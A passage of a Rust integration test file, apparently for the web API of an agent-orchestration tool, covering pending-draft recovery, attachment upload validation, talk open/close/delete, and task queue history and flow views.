7027 .expect("id")
7028 .to_owned();
7029 let store = f.talks();
7030 let mut recovered = store.get(&id).expect("opened talk");
7031 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
7032 .expect("persist pending draft without a live turn");
7033
7034 let edited = f
7035 .post(
7036 &format!("/api/talks/{id}/pending/edit"),
7037 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
7038 )
7039 .await;
7040 assert_eq!(edited.status, 200, "{}", edited.body);
7041 assert!(edited.json()["thinking"].as_bool().unwrap());
7042
7043 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
7044 for _ in 0..SETTLE_STEPS {
7045 if detail["turns"].as_array().expect("turns").len() == 2 {
7046 break;
7047 }
7048 tokio::time::sleep(Duration::from_millis(10)).await;
7049 detail = f.get(&format!("/api/talks/{id}")).await.json();
7050 }
7051 let turns = detail["turns"].as_array().expect("turns");
7052 assert_eq!(
7053 turns.len(),
7054 2,
7055 "the recovered draft must run once: {detail}"
7056 );
7057 assert_eq!(turns[0]["body"], "corrected");
7058 assert_eq!(detail["pending"], "");
7059 }
7060
7061 #[tokio::test]
7062 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
7063 let tmp = TempDir::new().expect("tempdir");
7064 let repo = tmp.path().join("repo");
7065 std::fs::create_dir_all(&repo).expect("repo dir");
7066 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
7067 let f = Fixture::with_repo(repo).await;
7068 let id = f.post("/api/talks", None).await.json()["id"]
7069 .as_str()
7070 .expect("id")
7071 .to_owned();
7072 let store = f.talks();
7073 let mut recovered = store.get(&id).expect("opened talk");
7074 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
7075 .expect("persist pending draft without a live turn");
7076
7077 let refused = f
7078 .post(
7079 &format!("/api/talks/{id}/say"),
7080 Some(r#"{"text":"new message"}"#),
7081 )
7082 .await;
7083 assert_eq!(refused.status, 409, "{}", refused.body);
7084 assert!(refused.body.contains("resume"), "{}", refused.body);
7085 let saved = store.get(&id).expect("draft remains after refusal");
7086 assert!(saved.turns.is_empty());
7087 assert_eq!(saved.pending, "saved before restart");
7088
7089 let say_path = format!("/api/talks/{id}/say");
7090 let (first, second) = tokio::join!(
7091 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
7092 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
7093 );
7094 assert_eq!(first.status, 409, "{}", first.body);
7095 assert_eq!(second.status, 409, "{}", second.body);
7096 let saved = store
7097 .get(&id)
7098 .expect("draft remains after concurrent refusals");
7099 assert!(saved.turns.is_empty());
7100 assert_eq!(saved.pending, "saved before restart");
7101
7102 let resumed = f
7103 .post(&format!("/api/talks/{id}/pending/resume"), None)
7104 .await;
7105 assert_eq!(resumed.status, 202, "{}", resumed.body);
7106 let duplicate = f
7107 .post(&format!("/api/talks/{id}/pending/resume"), None)
7108 .await;
7109 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
7110
7111 for _ in 0..SETTLE_STEPS {
7112 if store.get(&id).expect("talk").turns.len() == 2 {
7113 break;
7114 }
7115 tokio::time::sleep(Duration::from_millis(10)).await;
7116 }
7117 let finished = store.get(&id).expect("finished talk");
7118 assert_eq!(finished.turns.len(), 2, "{finished:?}");
7119 assert_eq!(finished.turns[0].body, "saved before restart");
7120 assert!(finished.pending.is_empty());
7121 }
7122
7123 #[tokio::test]
7124 async fn an_image_only_recovered_draft_resumes_without_text() {
7125 let (_tmp, _repo, f) = talk_fixture().await;
7126 let id = f.post("/api/talks", None).await.json()["id"]
7127 .as_str()
7128 .expect("id")
7129 .to_owned();
7130 let uploaded = f
7131 .post_bytes(
7132 &format!("/api/talks/{id}/attachments"),
7133 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
7134 PNG_BYTES,
7135 )
7136 .await;
7137 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
7138 let attachment = f
7139 .talks()
7140 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
7141 .expect("attachment metadata")
7142 .expect("stored attachment");
7143 let store = f.talks();
7144 let mut recovered = store.get(&id).expect("opened talk");
7145 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
7146
7147 let resumed = f
7148 .post(&format!("/api/talks/{id}/pending/resume"), None)
7149 .await;
7150 assert_eq!(resumed.status, 202, "{}", resumed.body);
7151 for _ in 0..SETTLE_STEPS {
7152 if store.get(&id).expect("talk").turns.len() == 2 {
7153 break;
7154 }
7155 tokio::time::sleep(Duration::from_millis(10)).await;
7156 }
7157 let finished = store.get(&id).expect("finished talk");
7158 assert_eq!(finished.turns.len(), 2, "{finished:?}");
7159 assert!(finished.turns[0].body.is_empty());
7160 assert_eq!(finished.turns[0].attachments.len(), 1);
7161 assert!(finished.pending_attachments.is_empty());
7162 }
7163
7164 #[tokio::test]
7165 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
7166 let (_tmp, _repo, f) = talk_fixture().await;
7167 let id = f.post("/api/talks", None).await.json()["id"]
7168 .as_str()
7169 .expect("id")
7170 .to_owned();
7171 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
7172 assert_eq!(closed.status, 200, "{}", closed.body);
7173 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
7174 .expect("serialize closed talk");
7175 for (path, body) in [
7176 (format!("/api/talks/{id}/pending/resume"), None),
7177 (
7178 format!("/api/talks/{id}/pending/clear"),
7179 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
7180 ),
7181 (
7182 format!("/api/talks/{id}/pending/edit"),
7183 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
7184 ),
7185 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
7186 ] {
7187 let response = f.post(&path, body).await;
7188 assert_eq!(response.status, 409, "{}", response.body);
7189 }
7190 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
7191 .expect("serialize closed talk");
7192 assert_eq!(
7193 after_clear, before_clear,
7194 "clear must not rewrite a closed talk"
7195 );
7196 }
7197
7198 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
7201
7202 #[tokio::test]
7203 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
7204 let tmp = TempDir::new().expect("tempdir");
7205 let repo = tmp.path().join("repo");
7206 std::fs::create_dir_all(&repo).expect("repo dir");
7207 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
7208 let f = Fixture::with_repo(repo).await;
7209 let id_a = f.post("/api/talks", None).await.json()["id"]
7210 .as_str()
7211 .unwrap()
7212 .to_owned();
7213 let id_b = f.post("/api/talks", None).await.json()["id"]
7214 .as_str()
7215 .unwrap()
7216 .to_owned();
7217
7218 let a = f
7219 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
7220 .await;
7221 assert_eq!(a.status, 202, "{}", a.body);
7222 assert_eq!(a.json()["thinking"], true);
7223 let b = f
7224 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
7225 .await;
7226 assert_eq!(b.status, 202, "{}", b.body);
7227 assert_eq!(b.json()["thinking"], true);
7228
7229 let listed = f.get("/api/talks").await.json();
7230 for id in [&id_a, &id_b] {
7231 let view = listed
7232 .as_array()
7233 .unwrap()
7234 .iter()
7235 .find(|talk| talk["id"] == *id)
7236 .unwrap();
7237 assert_eq!(view["thinking"], true, "{listed}");
7238 }
7239 let repeated = f
7240 .post(
7241 &format!("/api/talks/{id_a}/say"),
7242 Some(r#"{"text":"again"}"#),
7243 )
7244 .await;
7245 assert_eq!(repeated.status, 202, "{}", repeated.body);
7246 assert_eq!(repeated.json()["pending"], "again");
7247 }
7248
7249 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
7252
7253 #[tokio::test]
7254 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
7255 let f = Fixture::start().await;
7256 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
7257
7258 let res = f
7259 .post_bytes(
7260 &format!("/api/talks/{id}/attachments"),
7261 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
7262 PNG_BYTES,
7263 )
7264 .await;
7265 assert_eq!(res.status, 201, "{}", res.body);
7266 let body = res.json();
7267 assert_eq!(body["name"], "shot.png");
7268 assert_eq!(body["mime"], "image/png");
7269 assert_eq!(body["bytes"], PNG_BYTES.len());
7270 let att_id = body["id"].as_str().expect("id").to_owned();
7271 assert_eq!(
7272 att_id.len(),
7273 32,
7274 "the id must never be a client-suppliable path: {att_id}"
7275 );
7276
7277 let got = f
7278 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
7279 .await;
7280 assert_eq!(got.status, 200, "{}", got.body);
7281 assert_eq!(got.header("content-type"), Some("image/png"));
7282 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
7283 assert_eq!(got.bytes, PNG_BYTES);
7284 }
7285
7286 #[tokio::test]
7287 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
7288 let f = Fixture::start().await;
7289 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
7290
7291 let svg = f
7294 .post_bytes(
7295 &format!("/api/talks/{id}/attachments"),
7296 &[("Content-Type", "image/svg+xml")],
7297 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
7298 )
7299 .await;
7300 assert!(
7301 (400..500).contains(&svg.status),
7302 "svg must be refused: {} {}",
7303 svg.status,
7304 svg.body
7305 );
7306 assert!(svg.body.contains("SVG"), "{}", svg.body);
7307
7308 let text = f
7309 .post_bytes(
7310 &format!("/api/talks/{id}/attachments"),
7311 &[("Content-Type", "text/plain")],
7312 b"just some text",
7313 )
7314 .await;
7315 assert!(
7316 (400..500).contains(&text.status),
7317 "an unlisted type must be refused: {} {}",
7318 text.status,
7319 text.body
7320 );
7321
7322 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
7325 let big = f
7326 .post_bytes(
7327 &format!("/api/talks/{id}/attachments"),
7328 &[("Content-Type", "image/png")],
7329 &oversized,
7330 )
7331 .await;
7332 assert_eq!(
7333 big.status,
7334 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
7335 "{}",
7336 big.body
7337 );
7338 }
7339
7340 #[tokio::test]
7341 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
7342 let f = Fixture::start().await;
7343 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
7344
7345 let res = f
7348 .post_bytes(
7349 &format!("/api/talks/{id}/attachments"),
7350 &[("Content-Type", "image/png")],
7351 b"<html>not a picture</html>",
7352 )
7353 .await;
7354 assert!((400..500).contains(&res.status), "{}", res.body);
7355 }
7356
7357 #[tokio::test]
7358 async fn an_unknown_attachment_id_is_a_404() {
7359 let f = Fixture::start().await;
7360 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
7361
7362 let res = f
7363 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
7364 .await;
7365 assert_eq!(res.status, 404, "{}", res.body);
7366 }
7367
7368 #[tokio::test]
7369 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
7370 let f = Fixture::start().await;
7371 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
7372
7373 let uploaded = f
7374 .post_bytes(
7375 &format!("/api/talks/{id}/attachments"),
7376 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
7377 PNG_BYTES,
7378 )
7379 .await;
7380 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
7381 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
7382
7383 let res = f
7384 .post(
7385 &format!("/api/talks/{id}/say"),
7386 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
7387 )
7388 .await;
7389 assert_eq!(res.status, 202, "{}", res.body);
7390 let queued = res.json();
7391 let turns = queued["turns"].as_array().expect("turns array");
7392 assert_eq!(
7393 turns.len(),
7394 1,
7395 "an empty body with an attachment is still a turn: {queued}"
7396 );
7397 assert_eq!(turns[0]["who"], "operator");
7398 assert_eq!(turns[0]["body"], "");
7399 let atts = turns[0]["attachments"]
7400 .as_array()
7401 .expect("attachments array");
7402 assert_eq!(atts.len(), 1);
7403 assert_eq!(atts[0]["id"], att_id);
7404 assert_eq!(atts[0]["mime"], "image/png");
7405
7406 let on_disk = f.talks().get(&id).expect("get");
7409 assert_eq!(on_disk.turns[0].attachments.len(), 1);
7410 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
7411 }
7412
7413 #[tokio::test]
7414 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
7415 let f = Fixture::start().await;
7416 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
7417
7418 let res = f
7419 .post(
7420 &format!("/api/talks/{id}/say"),
7421 Some(&format!(
7422 r#"{{"text":"hi","attachments":["{}"]}}"#,
7423 "a".repeat(32)
7424 )),
7425 )
7426 .await;
7427 assert!((400..500).contains(&res.status), "{}", res.body);
7428 assert!(res.body.contains("unknown attachment"), "{}", res.body);
7429
7430 let on_disk = f.talks().get(&id).expect("get");
7431 assert!(
7432 on_disk.turns.is_empty(),
7433 "a rejected attachment id must not partially record the turn: {:?}",
7434 on_disk.turns
7435 );
7436 }
7437
7438 #[tokio::test]
7439 async fn talk_close_makes_the_talk_refuse_further_turns() {
7440 let f = Fixture::start().await;
7441 let id = seed_talk(&f, "20260904-014455-cd34", "open");
7442
7443 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
7444 assert_eq!(closed.status, 200, "{}", closed.body);
7445 assert_eq!(closed.json()["status"], "closed");
7446
7447 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
7449 assert_eq!(closed_again.status, 200);
7450 assert_eq!(closed_again.json()["status"], "closed");
7451
7452 let said = f
7453 .post(
7454 &format!("/api/talks/{id}/say"),
7455 Some(r#"{"text":"too late"}"#),
7456 )
7457 .await;
7458 assert_eq!(said.status, 409, "{}", said.body);
7459 }
7460
7461 #[tokio::test]
7462 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
7463 let (_tmp, _repo, f) = talk_fixture().await;
7464 let id = f.post("/api/talks", None).await.json()["id"]
7465 .as_str()
7466 .expect("id")
7467 .to_owned();
7468 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
7469 assert_eq!(closed.status, 200, "{}", closed.body);
7470
7471 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
7472 assert_eq!(reopened.status, 200, "{}", reopened.body);
7473 assert_eq!(reopened.json()["status"], "open");
7474
7475 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
7477 assert_eq!(reopened_again.status, 200);
7478 assert_eq!(reopened_again.json()["status"], "open");
7479
7480 let said = f
7481 .post(
7482 &format!("/api/talks/{id}/say"),
7483 Some(r#"{"text":"still there?"}"#),
7484 )
7485 .await;
7486 assert_eq!(
7487 said.status, 202,
7488 "a reopened talk accepts turns again: {}",
7489 said.body
7490 );
7491 }
7492
7493 #[tokio::test]
7494 async fn talk_reopen_on_an_unknown_id_is_404() {
7495 let f = Fixture::start().await;
7496 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
7497 assert_eq!(res.status, 404, "{}", res.body);
7498 }
7499
7500 #[tokio::test]
7501 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
7502 let f = Fixture::start().await;
7503 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
7504
7505 let deleted = f.delete(&format!("/api/talks/{id}")).await;
7506 assert_eq!(deleted.status, 204, "{}", deleted.body);
7507
7508 let after = f.get(&format!("/api/talks/{id}")).await;
7509 assert_eq!(after.status, 404, "{}", after.body);
7510
7511 let listed = f.get("/api/talks").await.json();
7512 assert!(
7513 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
7514 "a deleted talk must not linger in the list: {listed}"
7515 );
7516 }
7517
7518 #[tokio::test]
7519 async fn talk_delete_on_an_unknown_id_is_404() {
7520 let f = Fixture::start().await;
7521 let res = f.delete("/api/talks/nonexistent-id").await;
7522 assert_eq!(res.status, 404, "{}", res.body);
7523 }
7524
7525 #[tokio::test]
7529 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
7530 let f = Fixture::start().await;
7531 let (a, b, gone) = (
7532 "20260902-140501-aaaa",
7533 "20260902-140502-bbbb",
7534 "20260902-140503-cccc",
7535 );
7536 write_run(&f.runs(), a, RunStatus::Stalled);
7537 let mut review = RunState::new(
7538 PathBuf::from("/repo/magi"),
7539 "main".to_owned(),
7540 "0123456789abcdef".to_owned(),
7541 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
7542 .to_owned(),
7543 Config::default(),
7544 );
7545 review.id = b.to_owned();
7546 review.status = RunStatus::Merged;
7547 write_state(&f.runs(), &review);
7548
7549 let mut task = Task::new(
7550 "retry".to_owned(),
7551 "Do the thing".to_owned(),
7552 PathBuf::from("/repo/magi"),
7553 Source::Human,
7554 );
7555 task.start(a.to_owned());
7556 task.stall("quota");
7557 task.start(a.to_owned());
7558 task.start(b.to_owned());
7559 task.start(gone.to_owned());
7560 f.queue().put(&mut task).expect("file the task");
7561
7562 let res = f.get(&format!("/api/queue/{}", task.id)).await;
7563 assert_eq!(res.status, 200, "{}", res.body);
7564 let v = res.json();
7565 let h = v["history"].as_array().expect("history");
7566 assert_eq!(h.len(), 4, "{v}");
7567 assert_eq!(h[0]["kind"], "competition");
7568 assert_eq!(h[0]["status"], "stalled");
7569 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
7570 assert_eq!(h[1]["kind"], "resume", "{v}");
7571 assert!(
7572 h[0]["outcome"]
7573 .as_str()
7574 .unwrap()
7575 .contains("handed back; pass #2"),
7576 "an earlier pass of a resumed run must not claim the final outcome: {v}"
7577 );
7578 assert!(
7579 !h[1]["outcome"].as_str().unwrap().contains("handed back."),
7580 "{v}"
7581 );
7582 assert_eq!(h[2]["kind"], "review");
7583 assert!(
7584 h[2]["description"]
7585 .as_str()
7586 .unwrap()
7587 .contains("magi/aaaa/A")
7588 );
7589 assert_eq!(h[2]["status"], "merged");
7590 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
7591 assert_eq!(v["runs_unreadable"], 1);
7592 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
7593 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
7594 assert_eq!(nodes[4]["note"], "unreadable");
7595 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
7596 assert_eq!(v["instruction"], "Do the thing");
7597 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
7598
7599 let run = f.get(&format!("/api/runs/{a}")).await.json();
7601 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
7602
7603 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
7604 }
7605
7606 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
7607 let mut s = RunState::new(
7608 PathBuf::from("/repo/magi"),
7609 "main".to_owned(),
7610 "0123456789abcdef".to_owned(),
7611 "Do it".to_owned(),
7612 Config::default(),
7613 );
7614 s.status = status;
7615 edit(&mut s);
7616 s
7617 }
7618
7619 fn flow_task(runs: &[&str]) -> Task {
7620 let mut t = Task::new(
7621 "t".to_owned(),
7622 "Do it".to_owned(),
7623 PathBuf::from("/repo/magi"),
7624 Source::Human,
7625 );
7626 for r in runs {
7627 t.start((*r).to_owned());
7628 }
7629 t
7630 }
7631
7632 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
7633 let h = task_history(task, |id| {
7634 states
7635 .iter()
7636 .find(|(i, _)| *i == id)
7637 .and_then(|(_, s)| s.clone())
7638 });
7639 task_flow(task, &h, 5)
7640 }
7641
7642 const FA: &str = "20260902-140501-aaaa";
7643 const FB: &str = "20260902-140502-bbbb";
7644
7645 #[test]
7646 fn flow_follows_blocked_retry_merged_to_done() {
7647 let mut t = flow_task(&[FA, FB]);
7648 t.status = TaskStatus::Done;
7649 let f = flow_for(
7650 &t,
7651 &[
7652 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
7653 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
7654 ],
7655 );
7656 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
7657 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
7658 assert_eq!(f.edges.len(), 3);
7659 assert_eq!(f.edges[0].label, "claimed");
7660 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
7661 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
7662 assert_eq!(f.edges[2].label, "merged \u{2192} done");
7663 assert_eq!(
7664 f.nodes[2].href.as_deref(),
7665 Some("#/runs/20260902-140502-bbbb")
7666 );
7667 assert!(f.nodes[2].decided);
7668 }
7669
7670 #[test]
7671 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
7672 let quota = || {
7673 flow_run(RunStatus::Stalled, |s| {
7674 s.quota.push(crate::run::QuotaLoss {
7675 seat: "judge-1".to_owned(),
7676 node: "judge".to_owned(),
7677 at: Timestamp::now(),
7678 reset: None,
7679 })
7680 })
7681 };
7682 let mut t = flow_task(&[FA, FA]);
7683 t.status = TaskStatus::Queued;
7684 let f = flow_for(&t, &[(FA, Some(quota()))]);
7685 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
7686 assert_eq!(f.nodes[1].note, Some("interrupted"));
7687 assert_eq!(
7688 f.nodes[1].status, None,
7689 "no outcome copied onto an earlier pass"
7690 );
7691 assert_eq!(
7692 f.edges[1].attempt,
7693 AttemptCost::Unknown,
7694 "a resume does not prove the earlier pass was refunded"
7695 );
7696 assert!(f.edges[1].label.contains("resume the same run"));
7697 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
7698 assert_eq!(
7699 f.edges[2].label,
7700 "stalled after a resume, refund unknown \u{2192} queued"
7701 );
7702 assert!(!f.nodes[2].decided, "a stall is not a decision");
7703 assert_eq!(f.nodes[2].note, Some("no verdict"));
7704 }
7705
7706 #[test]
7707 fn flow_single_pass_quota_stall_is_refunded() {
7708 let t = flow_task(&[FA]);
7709 let f = flow_for(
7710 &t,
7711 &[(
7712 FA,
7713 Some(flow_run(RunStatus::Stalled, |s| {
7714 s.quota.push(crate::run::QuotaLoss {
7715 seat: "judge-1".to_owned(),
7716 node: "judge".to_owned(),
7717 at: Timestamp::now(),
7718 reset: None,
7719 })
7720 })),
7721 )],
7722 );
7723 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
7724 }
7725
7726 #[test]
7727 fn flow_parked_refunds_and_stall_without_quota_spends() {
7728 let mut t = flow_task(&[FA]);
7729 t.status = TaskStatus::Queued;
7730 let f = flow_for(
7731 &t,
7732 &[(
7733 FA,
7734 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
7735 )],
7736 );
7737 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
7738 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
7739 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
7740 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
7741 assert!(!f.nodes[1].decided);
7742 }
7743
7744 #[test]
7745 fn flow_keeps_an_unreadable_run_as_its_own_node() {
7746 let t = flow_task(&[FA, FB]);
7747 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
7748 assert_eq!(f.nodes[1].note, Some("unreadable"));
7749 assert!(!f.nodes[1].readable);
7750 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
7751 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
7752 }
7753
7754 #[test]
7755 fn flow_names_the_branch_of_a_review_only_run() {
7756 let t = flow_task(&[FA]);
7757 let f = flow_for(
7758 &t,
7759 &[(
7760 FA,
7761 Some(flow_run(RunStatus::Merged, |s| {
7762 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
7763 })),
7764 )],
7765 );
7766 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
7767 assert_eq!(
7768 f.nodes[1].detail.as_deref(),
7769 Some("review-only run of branch magi/x/A")
7770 );
7771 }
7772
7773 #[test]
7774 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
7775 let mut t = flow_task(&[FA]);
7776 t.status = TaskStatus::Held;
7777 let pr = crate::run::PrRecord {
7778 url: "https://example.test/pr/1".to_owned(),
7779 number: 1,
7780 state: "open".to_owned(),
7781 checks: "green".to_owned(),
7782 round: 0,
7783 rounds: 3,
7784 red_at_merge: Vec::new(),
7785 };
7786 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
7787 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
7788 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
7789 t.status = TaskStatus::Done;
7790 let f = flow_for(&t, &[(FA, Some(blocked))]);
7791 assert_eq!(f.edges[1].label, "closed by hand: task is done");
7792 }
7793
7794 #[test]
7795 fn flow_with_no_runs_goes_from_queued_to_queued() {
7796 let t = flow_task(&[]);
7797 let f = flow_for(&t, &[]);
7798 assert_eq!(f.nodes.len(), 2);
7799 assert_eq!(f.edges.len(), 1);
7800 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
7801 assert_eq!(f.edges[0].attempt, AttemptCost::None);
7802 }
7803
7804 #[test]
7807 fn a_parked_non_terminal_run_is_explained_as_parked() {
7808 let mut s = RunState::new(
7809 PathBuf::from("/repo/magi"),
7810 "main".to_owned(),
7811 "0123456789abcdef".to_owned(),
7812 "Do it".to_owned(),
7813 Config::default(),
7814 );
7815 s.status = RunStatus::Implementing;
7816 s.parked = true;
7817 let task = Task::new(
7818 "t".to_owned(),
7819 "Do it".to_owned(),
7820 PathBuf::from("/repo/magi"),
7821 Source::Human,
7822 );
7823 let v = task_run_view(
7824 "20260902-140501-aaaa",
7825 Some(&s),
7826 RunSlot {
7827 n: 1,
7828 resumed: false,
7829 resumed_later: None,
7830 prior: None,
7831 last: true,
7832 },
7833 &task,
7834 );
7835 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
7836 }
7837
7838 #[tokio::test]
7839 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
7840 let f = Fixture::start().await;
7841 let queue = f.queue();
7842 let mut task = Task::new(
7843 "spent".to_owned(),
7844 "Try again".to_owned(),
7845 PathBuf::from("/repo/magi"),
7846 Source::Human,
7847 );
7848 task.start("20260902-140502-bbbb".to_owned());
7849 task.fail("agent gave up", 9);
7850 queue.put(&mut task).expect("file the task");
7851
7852 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
7853 assert_eq!(held.status, 200);
7854 assert_eq!(held.json()["status_str"], "held");
7855
7856 let released = f
7857 .post(&format!("/api/queue/{}/release", task.id), None)
7858 .await;
7859 assert_eq!(released.status, 200);
7860 assert_eq!(released.json()["status_str"], "queued");
7861 assert_eq!(
7862 released.json()["attempts"],
7863 0,
7864 "release is a real second chance, not an instant re-hold"
7865 );
7866 assert_eq!(
7867 queue.get(&task.id).expect("reload").status,
7868 TaskStatus::Queued,
7869 "the change is on disk, not only in the reply"
7870 );
7871 assert!(
7872 !f.home
7873 .path()
7874 .join("queue")
7875 .join(format!("{}.lock", task.id))
7876 .exists(),
7877 "the claim the mutation took is released again"
7878 );
7879 }
7880
7881 #[tokio::test]
7882 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
7883 let f = Fixture::start().await;
7884 let queue = f.queue();
7885 let mut task = Task::new(
7886 "busy".to_owned(),
7887 "Running right now".to_owned(),
7888 PathBuf::from("/repo/magi"),
7889 Source::Human,
7890 );
7891 queue.put(&mut task).expect("file the task");
7892 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7893
7894 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
7895
7896 assert_eq!(res.status, 409);
7897 assert_eq!(
7898 queue.get(&task.id).expect("reload").status,
7899 TaskStatus::Queued,
7900 "the refused hold changed nothing"
7901 );
7902 }
7903
7904 #[tokio::test]
7905 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
7906 let f = Fixture::start().await;
7907 let queue = f.queue();
7908 let mut task = Task::new(
7909 "waiting on the migration".to_owned(),
7910 "Do the thing".to_owned(),
7911 PathBuf::from("/repo/magi"),
7912 Source::Human,
7913 );
7914 queue.put(&mut task).expect("file the task");
7915
7916 let held = f
7917 .post(
7918 &format!("/api/queue/{}/hold", task.id),
7919 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
7920 )
7921 .await;
7922 assert_eq!(held.status, 200, "{}", held.body);
7923 assert_eq!(held.json()["status_str"], "held");
7924 assert_eq!(
7925 held.json()["hold_reason"],
7926 "waiting for 20260101-000000-aaaa to land"
7927 );
7928
7929 let listed = f.get("/api/queue").await.json();
7930 assert_eq!(
7931 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
7932 "the card reads the reason off the same list route"
7933 );
7934
7935 let mut plain = Task::new(
7938 "no reason given".to_owned(),
7939 "Do another thing".to_owned(),
7940 PathBuf::from("/repo/magi"),
7941 Source::Human,
7942 );
7943 queue.put(&mut plain).expect("file the task");
7944 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
7945 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
7946 assert!(held_plain.json()["hold_reason"].is_null());
7947
